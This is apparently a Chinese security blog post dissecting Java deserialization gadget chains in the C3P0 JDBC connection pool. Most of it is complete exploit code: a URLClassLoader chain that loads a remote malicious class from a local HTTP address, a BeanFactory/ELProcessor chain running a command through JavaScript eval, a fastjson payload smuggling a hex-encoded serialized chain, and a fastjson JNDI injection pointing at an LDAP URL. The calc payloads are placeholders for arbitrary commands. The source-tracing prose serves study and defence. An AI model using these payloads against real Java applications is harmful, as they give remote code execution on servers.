C3P0
C3P0是JDBC的一个连接池组件,它实现了数据源和JNDI绑定, 使用它的开源项目有Hibernate、Spring等。
在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接
用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。
依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
URLClassLoader
也被称为http base链
在PoolBackedDataSourceBase类的writeObject方法中有如下内容
该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作
这个类是不能反序列化的,所以会进入catch模块
我们唯一可控的就是Reference
然后看PoolBackedDataSourceBase类的readObject方法
跟进getObject方法
看见了lookup方法!但是没办法利用,因为contextName为null
跟进referenceToObject方法
var0是我们可控的,利用URLClassLoader
来加载恶意类了
所以payload如下:
package c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
f1.setAccessible(true);
f1.set(a,new evil());
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
ser.writeObject(a);
ser.close();
ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
unser.readObject();
unser.close();
}
public static class evil implements ConnectionPoolDataSource, Referenceable {
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
@Override
public Reference getReference() throws NamingException {
return new Reference("c3p0.evilexp","c3p0.evilexp","http://127.0.0.1:1099/");
}
}
}
package c3p0;
public class evilexp {
public evilexp() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
BeanFactory
如果环境不出网的话,就无法加载远程class,但是观察源代码
如果fClassLocation
为null的话就是当前线程的ClassLoader而不是远程加载(这意味着能够实例化WEB目录下的任意类),加载到对象之后会调用getObjectInstance
这个方法
原理可以看:https://paper.seebug.org/942/#classreference-factory
会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
这里还要求传入的Reference为ResourceRef类
目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set…开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter
javax.el.ELProcessor就可以,或者
- JDK或者常用库的类
- 有public修饰的无参构造方法
- public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞
BeanFactory
类会把Reference
对象的className
属性作为类名去调用无参构造方法实例化一个对象,然后在这里得到了forcestring
最后达到命令执行
package c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0WithBean {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
//PoolSource poolSource = new PoolSource("Evil","http://127.0.0.1:39876/");
PoolSource poolSource = new PoolSource();
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,poolSource);
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("b.bin")));
ser.writeObject(poolBackedDataSourceBase);
ser.close();
ObjectInputStream unser = new ObjectInputStream(new FileInputStream("b.bin"));
unser.readObject();
unser.close();
}
private static class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String classFactory;
private String classFactoryLocation;
public PoolSource(){
this.classFactory = "BeanFactory";
this.classFactoryLocation = null;
}
public PoolSource(String classFactory, String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "CyanM0un=eval"));
ref.add(new StringRefAddr("CyanM0un", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
return ref;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
}
hex
fastjson和CP30的不出网利用,需要本地的另一条链如CC
package c3p0;
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.util.Arrays;
public class C3P0WithFast {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("path/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
JSON.parseObject(poc);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
因为FastJson会在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法,在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
类的 setUpPropertyListeners处打下断点(根据名字应该是监听所有set事件的函数)
跟进
继续
在此处触发反序列化漏洞
JNDI
package c3p0;
import com.alibaba.fastjson.JSON;
public class C3P0WithJNDI {
public static void main(String[] args) throws Exception {
String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Evil\", \"loginTimeout\":0}";
JSON.parseObject(poc);
}
}
会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSource
的setJndiName
,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBase
的setJndiName
。我们在该方法打下断点
完成一些设置后,调用setLogininTimeout
跟进inner内部的deference方法
达到JNDI注入
参考
https://blog.csdn.net/rfrder/article/details/123208761
https://blog.csdn.net/u013190417/article/details/124311482